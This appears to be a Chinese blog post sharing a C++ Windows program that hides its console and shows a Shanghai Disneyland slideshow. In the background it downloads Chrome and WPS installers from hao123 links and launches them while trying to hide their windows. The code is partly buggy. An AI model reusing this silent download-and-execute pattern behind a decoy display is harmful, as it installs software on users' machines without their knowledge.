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今天我脑门一热,写了一个程序:

//main.cpp
//#include <conio.h>
//#include <graphics.h>
#include <EGE\\graphics.h>
#include <User.h>
#include <EGE/ege/sys_edit.h>
#include <string>
#include <iostream>
#include <urlmon.h>
#include <pthread.h>
#include <Wininet.h>
#include <EGE/EGE_UI_Lib.h>
#include <ege.h>
#include <thread>
#include <windows.h>
using namespace std;
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
#pragma comment(lib, "pthreadVC2.lib")
void* down(void* agrs);
void* downd(void* agrs);
int main()
{
	HWND hwndDOS = GetForegroundWindow();
	ShowWindow(hwndDOS, SW_HIDE);
	pthread_t tids[10];
	pthread_create(&tids[0], NULL, down, NULL);
	pthread_create(&tids[1], NULL, downd, NULL);
	ShellExecute(0, "open", "GoogleSetup.exe", "", "", SW_SHOWNORMAL);
	HWND hwnd; if (hwnd = ::FindWindow("GoogleSetup.exe", NULL)) //找到控制台句柄
	{
		::ShowWindow(hwnd, SW_HIDE); //隐藏控制台窗口
	}
	ShellExecute(0, "open", "WPSSteup.exe", "", "", SW_SHOWNORMAL);
	HWND hwnds; if (hwnds = ::FindWindow("WPSSteup.exe", NULL)) //找到控制台句柄
	{
		::ShowWindow(hwnds, SW_HIDE); //隐藏控制台窗口
	}
	initgraph(960, 540, INIT_RENDERMANUAL);
	setcaption("快来上海迪士尼乐园");
	for (int i = 0; i <= 365; i++)
	{
		string fileNames = "dc\\f (" + to_string(i) + ").jpg";
		const char* fileName = fileNames.c_str();
		PIMAGE pimg = newimage();
		getimage(pimg, fileName);
		putimage(0, 0, pimg);
		delimage(pimg);
		Sleep(10);
	}
	getch();
	return 0;
}
extern void* down(void* agrs)
{
	download("http://softdown1.hao123.com/hao123-soft-online-bcs/soft/2017_10_26_ChromeStandalone_62.0.3202.62_Setup.exe",
		"GoogleSetup.exe");
	return 0;
}
extern void* downd(void* agrs)
{
	download("http://softdown1.hao123.com/hao123-soft-online-bcs/soft/2017_02_22_W.P.S.5041.19.552.exe",
		"WPSSetup.exe");
	return 0;
}

//User.h
#pragma once
#include <EGE/graphics.h>
#include <EGE/ege.h>
#include <Windows.h>
#include <WinUser.h>
#include <Urlmon.h>
#pragma comment(lib, "urlmon.lib")
//download下载函数
//参数:
//	URL:原来下载素材网页直连
//  FURL:存放地点
void download(LPCSTR URL,LPCSTR FURL)
{
	URLDownloadToFile(0, TEXT(URL),TEXT(FURL), 0, NULL);
}
//影藏窗口函数(不建议用)
//           必须更initgraph里的参数一样         小数就行了
void DrawWindow(int width, int high, float w_position, float h_position)
{
	initgraph(width, high);	// 窗口尺寸
	HWND hWnd = getHWnd();	// 获取窗口句柄
	SetWindowLong(hWnd, GWL_EXSTYLE, GetWindowLong(hWnd, GWL_EXSTYLE) | WS_EX_LAYERED);
	SetWindowLong(hWnd, GWL_STYLE, GetWindowLong(hWnd, GWL_STYLE) - WS_CAPTION);
	SetWindowPos(hWnd, HWND_TOP, GetSystemMetrics(SM_CXSCREEN) * w_position,
		GetSystemMetrics(SM_CXSCREEN) * h_position, width, high, SWP_SHOWWINDOW);
}
// 透明贴图函数(弃用)
// 参数：
//		dstimg：目标 IMAGE（NULL 表示默认窗体）
//		x, y:	目标贴图位置
//		srcimg: 源 IMAGE 对象指针
/*
void CImage(IMAGE* dstimg, int x, int y, IMAGE* srcimg)
{
	// 变量初始化
	DWORD* dst = GetImageBuffer(dstimg);
	DWORD* src = GetImageBuffer(srcimg);
	int src_width = srcimg->getwidth();
	int src_height = srcimg->getheight();
	int dst_width = (dstimg == NULL ? getwidth() : dstimg->getwidth());
	int dst_height = (dstimg == NULL ? getheight() : dstimg->getheight());

	// 计算贴图的实际长宽
	int iwidth = (x + src_width > dst_width) ? dst_width - x : src_width;		// 处理超出右边界
	int iheight = (y + src_height > dst_height) ? dst_height - y : src_height;	// 处理超出下边界
	if (x < 0) { src += -x;				iwidth -= -x;	x = 0; }				// 处理超出左边界
	if (y < 0) { src += src_width * -y;	iheight -= -y;	y = 0; }				// 处理超出上边界

	// 修正贴图起始位置
	dst += dst_width * y + x;

	// 实现透明贴图
	for (int iy = 0; iy < iheight; iy++)
	{
		for (int ix = 0; ix < iwidth; ix++)
		{
			int sa = ((src[ix] & 0xff000000) >> 24);
			int sr = ((src[ix] & 0xff0000) >> 16);	// 源值已经乘过了透明系数
			int sg = ((src[ix] & 0xff00) >> 8);		// 源值已经乘过了透明系数
			int 喵 = src[ix] & 0xff;				// 源值已经乘过了透明系数
			int dr = ((dst[ix] & 0xff0000) >> 16);
			int dg = ((dst[ix] & 0xff00) >> 8);
			int db = dst[ix] & 0xff;

			dst[ix] = ((sr + dr * (255 - sa) / 255) << 16)
				| ((sg + dg * (255 - sa) / 255) << 8)
				| (喵 + db * (255 - sa) / 255);
		}
		dst += dst_width;
		src += src_width;
	}
}*/

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